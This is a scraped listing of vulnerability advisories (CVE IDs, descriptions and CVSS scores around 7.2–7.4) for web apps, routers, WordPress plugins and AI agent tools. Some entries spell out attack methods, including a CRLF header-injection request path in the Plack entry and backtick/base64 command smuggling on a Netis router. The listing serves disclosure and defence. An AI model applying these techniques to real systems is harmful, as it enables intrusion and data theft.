CVE-2026-47269	first 32-bit word of the 128-bit address field. IPv4-mapped IPv6 addresses (::ffff:x.x.x.x) store the IPv4 address in ut_addr_v6[3] with ut_addr_v6[0] == 0. On systems where the SSH daemon listens on :: (IPv6 wildcard) with AddressFamily any -- common on Ubuntu and Debian -- incoming IPv4 connections are recorded in utmpx as IPv4-mapped IPv6 addresses. The outer check evaluates to false, the remote-detection block is skipped entirely, and the session is treated as local. deny_remote=true does not block the authentication. An attacker with physical access to a registered USB device can authenticate over SSH on an affected system as if they were sitting at a local terminal, bypassing the deny_remote restriction. This vulnerability is fixed in 0.9.0.	7.4	More Details
CVE-2026-49014	In GDAL 3.1.0 through 3.13.0, scanForGeometryContainers in the netCDF driver allows code execution via a stack-based buffer overflow. It reads a geometry attribute into a fixed-size stack buffer without validating the attribute length. The attacker embeds the exploit as an oversized geometry attribute in a crafted NetCDF file. This achieves arbitrary code execution on the server running GDAL. This is in frmts/netcdf/netcdfsg.cpp.	7.4	More Details
CVE-2022-4991	Tychon includes an OpenSSL component that specifies an OPENSSLDIR variable as a subdirectory that may be controllable by an unprivileged user on Windows. Tychon contains a privileged service that uses this OpenSSL component. A user who can place a specially-crafted openssl.cnf file at an appropriate path may be able to achieve arbitrary code execution with SYSTEM privileges.	7.4	More Details
CVE-2026-48501	GitHub CLI (gh) is GitHub’s official command line tool. Prior to 2.93.0, GitHub CLI incorrectly includes authorization header in API requests to TUF repository mirrors via gh attestation, gh release verify, and gh release verify-asset commands. The CLI uses a shared HTTP client with an authentication layer that automatically attaches tokens to outgoing requests. This layer lacks accurate host detection and can incorrectly attribute the target host, providing it with a token it should never receive. Specifically, the host normalization logic collapses any *.github.com subdomain to github.com, so a request to tuf-repo.github.com (a GitHub Pages site, not a GitHub API endpoint) is treated as a request to github.com and receives the user's github.com token. For hosts that don't match github.com or a known GHES instance at all, the resolver falls back to GH_ENTERPRISE_TOKEN if set. The gh attestation, gh release verify and gh release verify-asset commands fetch data from several external hosts as part of their normal operation (TUF metadata from tuf-repo.github.com and tuf-repo-cdn.sigstore.dev, artifact bundles from Azure Blob Storage). Because these requests go through the same authenticated HTTP client, the token is sent to all of them. This vulnerability is fixed in 2.93.0.	7.4	More Details
CVE-2026-46579	A flaw was found in the OpenShift Router. When a Route has `insecureEdgeTerminationPolicy` set to Allow, the HTTP frontend does not remove `X-SSL-Client-*` headers from incoming requests. This allows an unauthenticated attacker to send plain HTTP requests with crafted `X-SSL-Client-*` headers. As a result, backends relying on these headers for mutual TLS (Transport Layer Security) authentication can be bypassed, enabling the attacker to impersonate client certificate identities.	7.4	More Details
CVE-2026-46818	Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Payments. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Payments accessible data as well as unauthorized access to critical data or complete access to all Oracle Payments accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).	7.4	More Details
CVE-2026-45373	CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.26, although SSRF is validated against hostnames that resolve to private IPv6 addresses, when providing the IPV6 in URL as http://[::1], the SSRF defenses do not work. This vulnerability is fixed in 0.8.26.	7.4	More Details
CVE-2026-5343	Improper Check for Unusual or Exceptional Conditions vulnerability in Drupal SAML SSO - Service Provider allows Privilege Escalation. This issue affects SAML SSO - Service Provider: from 0.0.0 before 3.1.4.	7.4	More Details
CVE-2026-48555	Spatie Laravel Media Library before version 11.23.0 contains a server-side request forgery vulnerability that allows remote attackers to cause the server to issue arbitrary outbound HTTP requests by passing user-controlled URLs to the addMediaFromUrl() method in InteractsWithMedia.php.	7.4	More Details
CVE-2026-44460	FileRise is a self-hosted web-based file manager with multi-file upload, editing, and batch operations. Prior to 3.12.0, /api/totp_setup.php is callable from a session that has only passed the password check (state pending_login_user). When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret inside the QR PNG instead of refusing or generating a new secret. An attacker who already possesses the victim's password can therefore retrieve the live TOTP secret, derive a valid one-time code, submit it to /api/totp_verify.php, and obtain a fully authenticated session without ever possessing the victim's authenticator device. This vulnerability is fixed in 3.12.0.	7.4	More Details
CVE-2026-45310	CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.	7.4	More Details

CVE-2026-48526	PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.	7.4	More Details
CVE-2026-10290	A weakness has been identified in code-projects Hotel and Tourism Reservation System 1.0. The affected element is an unknown function of the file tour.php of the component GET Parameter Handler. Executing a manipulation of the argument tour can lead to sql injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks.	7.3	More Details
CVE-2026-48961	IO::Compress versions from 2.207 before 2.220 for Perl ship a zipdetails CLI tool that crashes with undefined subroutine on Info-ZIP Unix Extra Field with 8-byte UID or GID. When decode_ux() in bin/zipdetails handles an Info-ZIP Unix Extra Field (tag 0x7875) with UID Size or GID Size set to 8, causing zipdetails to decode an 8-byte UID or GID value, it dispatches through decodeLitteEndian(), which calls a misnamed helper unpackValueQ. The actual function defined in the same file is unpackValue_Q (with underscore); the call raises 'Undefined subroutine &main::unpackValueQ' and the script exits with status 255. Library callers of IO::Compress and IO::Uncompress are not affected; the defect is in the bundled CLI tool.	7.3	More Details
CVE-2026-37712	An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/cron/class/cronjob.class.php, call_user_func_array() in function job type	7.3	More Details
CVE-2026-10281	A weakness has been identified in Enderfga claw-orchestrator up to 3.5.5. This affects the function EmbeddedServer of the file src/embedded-server.ts of the component API Endpoint. This manipulation causes missing authentication. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 3.5.6 mitigates this issue. Patch name: d0b02a800aa0689d9428cc4cc170e0b6589fb2c3. The affected component should be upgraded.	7.3	More Details
CVE-2026-37713	An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/core/class/commonobject.class.php.	7.3	More Details
CVE-2026-10273	A vulnerability was found in php-censor up to 2.1.6. This affects an unknown function of the file src/Model/Build/GitBuild.php of the component Webhook Endpoint. Performing a manipulation of the argument commitId results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used. The patch is named cd68d102601320bd319d590b75f7652e66f0685f. It is recommended to apply a patch to fix this issue.	7.3	More Details
CVE-2026-10236	A vulnerability has been found in SourceCodester Water Billing Management System 1.0. This issue affects some unknown processing of the file /classes/Users.php?f=save of the component User Management Endpoint. Such manipulation leads to improper authorization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.	7.3	More Details
CVE-2026-10287	A vulnerability was determined in SourceCodester SEO Meta Tag Extractor 1.0. This vulnerability affects the function get_headers of the file /index.php. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.	7.3	More Details
CVE-2026-10157	A vulnerability was identified in Open5GS up to 2.7.6. This impacts an unknown function of the file src/amf/ngap-handler.c of the component NGAP PathSwitchRequest Message Handler. The manipulation leads to improper authentication. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The identifier of the patch is a188e36b1741ffc2252133f59b1bda4f14d3cb5c. It is suggested to install a patch to address this issue.	7.3	More Details
CVE-2026-31266	Craft CMS 5.9.5 and earlier contains a Missing Authorization vulnerability in the migrate endpoint (/actions/app/migrate).	7.3	More Details
CVE-2026-38427	An issue in fetch_jpg() in xdrv_10_scripter.ino in Tasmota through 15.3.0.3 allows a remote attacker to cause heap buffer overflow. The Content-Length from a JPEG stream is stored in a uint16_t variable; values above 65535 wrap around, causing allocation of a smaller buffer than the data actually read.	7.3	More Details
CVE-2026-38426	Buffer Overflow vulnerability in arendst Tasmota v.15.3.0.3 and before allows a remote attacker to execute arbitrary code via the xdrv_10_scripter.ino, fetch_jpg(), jpg_task.boundary[40], strcpy() function.	7.3	More Details
CVE-2026-45932	In the Linux kernel, the following vulnerability has been resolved: bpf: Fix tcx/netkit detach permissions when prog fd isn't given This commit fixes a security issue where BPF_PROG_DETACH on tcx or netkit devices could be executed by any user when no program fd was provided, bypassing permission checks. The fix adds a capability check for CAP_NET_ADMIN or CAP_SYS_ADMIN in this case.	7.3	More Details
CVE-	An issue in SourceBans Material Admin before v.1.1.6 (3ecd95e) allows attackers to manipulate arbitrary user		More

2026-30760	data in the web app via a crafted XAJAX call.	7.3	Details
CVE-2026-10186	A security vulnerability has been detected in code-projects Online Hospital Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /patient.php. Such manipulation of the argument editid leads to sql injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used.	7.3	More Details
CVE-2026-38422	Buffer Overflow vulnerability in arendst Tasmota v.15.3.0.3 and before allows a remote attacker to execute arbitrary code via the tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino, fetch_jpg() function.	7.3	More Details
CVE-2026-37711	An issue in Dolibarr ERP/CRM v.22.0.0 through v.22.0.4 and v.24.0.0-alpha allows a remote attacker to execute arbitrary code via the htdocs/core/actions_addupdatedelete.inc.php	7.3	More Details
CVE-2026-10219	A vulnerability was found in nextlevelbuilder GoClaw up to 3.11.3. This impacts the function FsBridge.WriteFile of the file internal/sandbox/fsbridge.go of the component write_file Tool. Performing a manipulation results in os command injection. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The pull request to fix this issue awaits acceptance.	7.3	More Details
CVE-2025-70103	Heap buffer overflow vulnerability in libjxl 0.12.0 via crafted PBM images to the jxl::extras::DecodeImagePNM function in file lib/extras/dec/pnm.cc.	7.3	More Details
CVE-2026-30761	An arbitrary file upload vulnerability in the pages/admin.uploadmapimg.php component of SourceBans Material Admin v1.1.6 allows attackers to execute arbitrary code via uploading a crafted image file.	7.3	More Details
CVE-2026-10226	A flaw has been found in raisulislamg4 student_management_system_by_php up to 310d950e09013d5133c6b9210aff9444382d16d1. Impacted is an unknown function of the file delete.php. Executing a manipulation of the argument user_id/course_id/teacher_id/student_id/application_id can lead to sql injection. The attack may be launched remotely. The exploit has been published and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-10252	A security vulnerability has been detected in itsourcecode Online House Rental System 1.0. This affects an unknown function of the file /manage_tenant.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used.	7.3	More Details
CVE-2026-10227	A vulnerability has been found in raisulislamg4 student_management_system_by_php up to 310d950e09013d5133c6b9210aff9444382d16d1. The affected element is an unknown function of the file add_user_check.php of the component User Creation Handler. The manipulation of the argument role leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used. This product follows a rolling release approach for continuous delivery, so version details for affected or updated releases are not provided. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-10280	A security flaw has been discovered in horizon921 mcpilot 0.1.0. The impacted element is an unknown function of the file client/src/app/api/mcp/call/route.ts of the component MCP API Call Endpoint. The manipulation of the argument serverBaseUrl results in server-side request forgery. The attack can be launched remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-9795	A flaw was found in Keycloak's Fine-Grained Admin Permissions (FGAPv2) feature. An administrator with limited client management permissions can exploit this vulnerability to assign any realm role, including highly privileged roles, to a client's scope mapping. This bypasses intended security controls, allowing the injected role to be projected into a user's authentication token when they access the modified client. This could lead to unauthorized privilege escalation within the Keycloak realm.	7.3	More Details
CVE-2026-42745	Authentication Bypass Using an Alternate Path or Channel vulnerability in ZAYTECH Smart Online Order for Clover clover-online-orders allows Authentication Bypass.This issue affects Smart Online Order for Clover: from n/a through <= 1.6.0.	7.3	More Details
CVE-2026-10225	A vulnerability was detected in raisulislamg4 student_management_system_by_php up to 310d950e09013d5133c6b9210aff9444382d16d1. This issue affects some unknown processing of the file login_check.php of the component Login. Performing a manipulation of the argument Username results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details

CVE-2026-42746	Insertion of Sensitive Information Into Sent Data vulnerability in ZAYTECH Smart Online Order for Clover clover-online-orders allows Retrieve Embedded Sensitive Data.This issue affects Smart Online Order for Clover: from n/a through <= 1.6.0.	7.3	More Details
CVE-2026-10253	A vulnerability was detected in itsourcecode Online House Rental System 1.0. This impacts an unknown function of the file /manage_payment.php. The manipulation of the argument ID results in sql injection. It is possible to launch the attack remotely. The exploit is now public and may be used.	7.3	More Details
CVE-2026-10208	A flaw has been found in code-projects Online Hospital Management System 1.php. This impacts the function login_user of the file login_1.php. Executing a manipulation of the argument Username can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used.	7.3	More Details
CVE-2026-42753	Missing Authorization vulnerability in WC Lovers WCFM Membership wc-multivendor-membership allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WCFM Membership: from n/a through <= 2.11.10.	7.3	More Details
CVE-2026-10068	A flaw has been found in Shibby Tomato 1.28. The affected element is the function send of the file usr/sbin/miniupnpd of the component SUBSCRIBE Call Handler. This manipulation causes server-side request forgery. The attack may be initiated remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	7.3	More Details
CVE-2026-10250	A security flaw has been discovered in itsourcecode Online Blood Bank Management System 1.0. The affected element is an unknown function of the file /admin/campsdetails.php. Performing a manipulation of the argument hospital results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.	7.3	More Details
CVE-2026-10249	A vulnerability was identified in itsourcecode Online Blood Bank Management System 1.0. Impacted is an unknown function of the file /admin/viewrequest.php. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used.	7.3	More Details
CVE-2026-45360	Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.	7.3	More Details
CVE-2026-10178	A vulnerability was detected in code-projects Online Music Site 1.0. This vulnerability affects unknown code of the file /Administrator/PHP/AdminEditAlbum.php. The manipulation of the argument ID results in sql injection. The attack may be performed from remote. The exploit is now public and may be used.	7.3	More Details
CVE-2026-48962	IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob. _parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl. Arbitrary Perl in the output glob executes at the calling process's privilege.	7.3	More Details
CVE-2026-10220	A vulnerability was determined in NousResearch hermes-agent up to 2026.4.30. Affected is the function _serve_plugin_skill/skill_view of the file tools/skills_tool.py. Executing a manipulation can lead to injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2026-9605	A flaw has been found in GNU libredwg up to 0.13.4.8160. This issue affects the function bit_read_RC of the file bits.c of the component Dwgbmp Utility. This manipulation causes heap-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been published and may be used. Patch name: 8f03865f37f5d4ffd616fef802acc980be54d300. Applying a patch is the recommended action to fix this issue.	7.3	More Details
CVE-2026-45364	Better Auth is an authentication and authorization library for TypeScript. Prior to 1.4.17 and 1.5.0-beta.9, Better Auth's HTTP rate limiter keyed each request by the exact textual IP address it received in x-forwarded-for (or the configured IP-bearing header). IPv6 clients controlling a typical /64 allocation could rotate through 2^64 distinct source addresses without exhausting the per-address counter, defeating rate limiting on /sign-in/email, /sign-up/email, /forget-password, and every other path the limiter protects. The same bug allowed a single client to vary the textual encoding of one IPv6 address (uppercase, compression, IPv4-mapped, hex-encoded IPv4-in-IPv6) and produce multiple distinct keys. This vulnerability is fixed in 1.4.17 and 1.5.0-beta.9.	7.3	More Details
CVE-2026-9658	Plack::Middleware::Security::Common versions before 0.13.1 for Perl did not block header injections in request paths. The header injection rule was ineffective at blocking header injections in the request paths unless they were double-encoded, for example, GET /path\r\nHTTP/1.1\r\nHost: secret.example.com Note that it is unclear whether request paths with CRLF followed by additional headers would be blocked by reverse proxies, or how they would be processed by Plack-based servers.	7.3	More Details

CVE-2026-37579	An issue in SMSGate sms-core<=2.1.13.6 allows a remote attacker to execute arbitrary code via the Cmpp7FDeliverRequestMessageCodec.java component	7.3	More Details
CVE-2026-10221	A vulnerability was identified in NousResearch hermes-agent up to 0.12.0. Affected by this vulnerability is the function _compress_context of the file run_agent.py. The manipulation leads to injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2026-42675	Missing Authorization vulnerability in Themefic Hydra Booking allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Hydra Booking: from n/a through 1.1.41.	7.3	More Details
CVE-2026-10110	A vulnerability was detected in code-projects Student Details Management System 1.0. This affects an unknown function of the file /index.php. Performing a manipulation of the argument roll results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used.	7.3	More Details
CVE-2026-10214	A weakness has been identified in zhayujie chatgpt-on-wechat up to 2.0.8. This issue affects the function _get_safety_warning of the file agent/tools/bash/bash.py of the component Bash Tool. Executing a manipulation can lead to os command injection. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 2.0.9 is capable of addressing this issue. This patch is called 16d9b449c9aa53ccee44144a762a2737d7ba4fc4. It is recommended to upgrade the affected component.	7.3	More Details
CVE-2026-10111	A flaw has been found in sambitraj STUDENT-MANAGEMENT-SYSTEM 1.0. This impacts an unknown function of the component Login Page. Executing a manipulation of the argument email can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-36540	Netis AC1200 Router NC21 V4.0.1.4296 is vulnerable to unauthenticated command injection via the /cgi-bin/skk_set.cgi endpoint. The password and new_pwd_confirm POST parameters are passed directly to the underlying OS shell without sanitization. An attacker can inject arbitrary shell commands by wrapping them in backticks (`) and encoding them in base64. Because the endpoint requires no authentication, any device on the LAN can achieve full Remote Code Execution on the router's operating system with a single HTTP POST request.	7.3	More Details
CVE-2026-10184	A security flaw has been discovered in SourceCodester Hospitals Patient Records Management System 1.0. This impacts an unknown function of the file /classes/Users.php?f=delete. The manipulation of the argument ID results in sql injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.	7.3	More Details
CVE-2026-44320	free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the nnef-callback route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid NotifId, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime ServiceList does not declare it (it lists only nnef-pfdmanagement and nnef-oam). This vulnerability is fixed in 4.2.2.	7.3	More Details
CVE-2026-10243	A security vulnerability has been detected in code-projects Smart Parking System 1.0. Affected is an unknown function of the component Admin Endpoint. Such manipulation leads to missing authentication. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used. Multiple endpoints are affected.	7.3	More Details
CVE-2026-10185	A weakness has been identified in SourceCodester Hospitals Patient Records Management System 1.0. Affected is an unknown function of the file /classes/Users.php?f=save. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks.	7.3	More Details
CVE-2026-10262	A vulnerability has been found in code-projects Real State Services 1.0. This impacts an unknown function of the file /loginuser.php of the component Login. The manipulation of the argument Username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.	7.3	More Details
CVE-2026-10263	A vulnerability was found in SourceCodester Computer Repair Shop Management System up to 1.0. Affected is an unknown function of the file /admin/products/manage_product.php. The manipulation of the argument ID results in sql injection. The attack can be launched remotely. The exploit has been made public and could be used.	7.3	More Details
CVE-	A weakness has been identified in itsourcecode Online House Rental System 1.0. The impacted element is an		

2026-10251	unknown function of the file /ajax.php?action=login. Executing a manipulation of the argument Username can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.	7.3	More Details
CVE-2026-10260	A vulnerability was detected in CodeAstro Online Job Portal 1.0. The impacted element is an unknown function of the file /admin/jobs-admins/delete-jobs.php. Performing a manipulation of the argument ID results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used.	7.3	More Details
CVE-2026-10288	A vulnerability was identified in code-projects Hotel and Tourism Reservation System 1.0. This issue affects the function password_verify of the file /admin/login.php of the component Admin Login. Such manipulation of the argument Password leads to improper authentication. It is possible to launch the attack remotely. The exploit is publicly available and might be used.	7.3	More Details
CVE-2026-10167	A weakness has been identified in OUSL-GROUP-BrinaryBrains School Student Management System up to 1e70e5ad1125b86dca4ee086eb6bb121f17708b6. This impacts the function sign_auth_cookie of the file application/controllers/Login.php of the component MY_Controller. Executing a manipulation of the argument role can lead to improper authentication. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.	7.3	More Details
CVE-2026-36045	picoclaw <=v0.1.2 and earlier is vulnerable to OS command injection via the ExecTool component (pkg/tools/shell.go). The guardCommand() function attempts to restrict shell command execution using a denylist of 8 regular expressions, but the denylist is incomplete.	7.3	More Details
CVE-2026-36538	Netis AC1200 Router NC21 V4.0.1.4296 contains a hard-coded root credential stored in /etc/shadow.sample. The password for the root account is set to the trivially weak value root, allowing an attacker with access to the device to authenticate as root and gain full control of the underlying operating system.	7.3	More Details
CVE-2026-36539	Netis AC1200 Router NC21 V4.0.1.4296 exposes a CGI endpoint /cgi-bin/skk_get.cgi that returns the entire router configuration as a JSON response with no authentication required. Any attacker on the LAN can send a single HTTP GET request and instantly retrieve administrator credentials, WiFi passwords, PPPoE credentials, DDNS credentials, and a full map of all connected devices.	7.3	More Details
CVE-2026-10261	A flaw has been found in CodeAstro Online Job Portal 1.0. This affects an unknown function of the file /users/application_status.php. Executing a manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been published and may be used.	7.3	More Details
CVE-2026-9606	A vulnerability has been found in itsourcecode Courier Management System 1.0. Impacted is an unknown function of the file /manage_user.php. Such manipulation of the argument ID leads to sql injection. The attack may be performed from remote. The exploit has been disclosed to the public and may be used.	7.3	More Details
CVE-2026-39292	Falco Solutions PHPPageBuilder v0.31.0 contains an unrestricted file upload vulnerability in the pagemanager/pagebuilder module that allows remote attackers to upload arbitrary files and achieve remote code execution. The vulnerability exists due to insufficient validation of uploaded file types and executable content.	7.3	More Details
CVE-2026-39276	The template upload feature in Emlog Pro v2.6.9 has a path traversal vulnerability, allowing authenticated administrators to execute arbitrary PHP code. By uploading a malicious ZIP archive containing directory traversal sequences in filenames, an attacker can overwrite default template files or directly include malicious code files in the current template.	7.2	More Details
CVE-2026-7634	The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'User-Agent' header in all versions up to, and including, 5.4.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The show_complete_user_agent_tooltip setting must be explicitly enabled by an administrator (disabled by default) for the stored payload to be rendered and executed.	7.2	More Details
CVE-2026-8143	The HBook plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hb_country_iso', 'hb_usa_state_iso', and 'hb_canada_province_iso' parameters in all versions up to, and including, 2.1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page (the HBook Customers admin page).	7.2	More Details
CVE-2026-45609	mcp-security provides Security and Authorization support for Model Context Protocol in Spring AI. Prior to 0.1.9, the mcp-security framework fails to implement the mandatory SSRF mitigations outlined in the Model Context Protocol (MCP) security specifications. Specifically, it processes untrusted URLs for OAuth-related discovery and metadata without verifying if the targets are malicious or internal to the network. This only affects installations with Dynamic Client Registration (DCR) enabled This vulnerability is fixed in 0.1.9.	7.2	More Details
CVE-2026-40852	A highly authenticated attacker can alter the config generator injecting a payload into future created configurations. The device is not correctly checking this configuration value before passing it to an system execute leading to code execution. This can result in a total loss of confidentiality, integrity and availability.	7.2	More Details

CVE-2024-56462	IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 002 could allow a privileged user to upload a malicious backup archive that could be restored and used to gain access to the underlying operating system.	7.2	More Details
CVE-2025-41279	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 RX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 RX Host.	7.2	More Details
CVE-2026-24089	Memory corruption while processing fastboot commands with invalid input.	7.2	More Details
CVE-2026-7052	The HT Contact Form – Drag & Drop Form Builder for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'file_upload' parameter in all versions up to, and including, 2.8.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the 'Store Submissions' setting to be enabled, as this controls whether unsanitized field values are persisted to the database and subsequently rendered via dangerouslySetInnerHTML in the admin entry viewer.	7.2	More Details
CVE-2026-10072	DreamMaker developed by Interinfo has an Arbitrary File Upload vulnerability, allowing privileged remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.	7.2	More Details
CVE-2026-24087	Memory corruption while processing fastboot OEM commands.	7.2	More Details
CVE-2025-41267	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.	7.2	More Details
CVE-2026-2374	The Login No Captcha reCAPTCHA plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `$_SERVER['PHP_SELF']` superglobal in all versions up to, and including, 1.8.0. This is due to the `authenticate()` function storing the unsanitized output of `basename($_SERVER['PHP_SELF'])` in the `login_nocaptcha_error` WordPress option when a login attempt is made from a non-standard login page (e.g., xmlrpc.php). The `admin_notices()` function then echoes this stored value directly into the admin dashboard HTML without escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator with a whitelisted IP address visits the WordPress dashboard within 30 seconds of the attack.	7.2	More Details
CVE-2026-6169	The affiliate-toolkit plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 3.8.5. This is due to the plugin using the BladeOne templating engine's runString() method which compiles user-supplied template content into PHP code and executes it via eval() without sanitization or sandboxing. This makes it possible for authenticated attackers, with Editor-level access and above, to execute arbitrary code on the server by injecting PHP into a plugin template.	7.2	More Details
CVE-2025-41266	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.	7.2	More Details
CVE-2025-11262	The Link Whisper Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user_id parameter in all versions up to, and including, 0.9.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2025-41265	Nozomi Networks Labs identified a CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in the Administration WebUI in Waterfall WF-500 TX Host in version 7.9.1.0 R2502171040 that allows remote authenticated attackers to execute arbitrary operating system commands on the WF-500 TX Host.	7.2	More Details
CVE-2026-5509	An authenticated command injection vulnerability exists in the Archer BE450 v1 and BE7200 v1 router that allows an administrator to execute arbitrary system commands through the web management interface. After successfully authenticating to the admin interface, an attacker can leverage the browser’s developer console by supplying a crafted input that is passed to backend system commands without adequate sanitization. Successful exploitation enables execution of arbitrary commands with elevated privileges on the device, which may allow the attacker to start unauthorized services, modify system configuration, or otherwise fully compromise the router’s operating environment.	7.2	More Details

